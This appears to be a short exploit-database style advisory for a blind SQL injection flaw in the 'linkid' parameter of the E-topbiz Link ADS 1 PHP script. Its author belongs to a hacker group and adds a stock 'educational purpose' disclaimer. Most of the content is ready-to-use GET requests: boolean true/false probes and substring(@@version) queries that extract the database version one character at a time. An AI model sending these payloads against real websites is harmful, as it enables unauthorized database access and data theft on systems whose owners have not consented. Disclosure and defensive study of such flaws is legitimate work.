23 lines
No EOL
654 B
Text
23 lines
No EOL
654 B
Text
# E-topbiz Link ADS 1 PHP script (linkid) Blind SQL Injection Vulnerability
|
|
# url: http://e-topbiz.com/oprema/pages/linkads1.php
|
|
#
|
|
# Author: Jose Luis Gongora Fernandez 'aka' JosS
|
|
# mail: sys-project[at]hotmail[dot]com
|
|
# site: http://hack0wn.com
|
|
# team: Spanish Hackers Team - [SHT]
|
|
#
|
|
# This was written for educational purpose. Use it at your own risk.
|
|
# Author will be not responsible for any damage.
|
|
#
|
|
# Greetz To: All Hackers!
|
|
|
|
proof of concept:
|
|
GET /out.php?linkid=50+and+1=1 (true)
|
|
GET /out.php?linkid=50+and+1=2 (false)
|
|
|
|
exploit :
|
|
GET /out.php?linkid=50+and+substring(@@version,1,1)=4
|
|
GET /out.php?linkid=50+and+substring(@@version,1,1)=5
|
|
|
|
|
|
# _h0_ |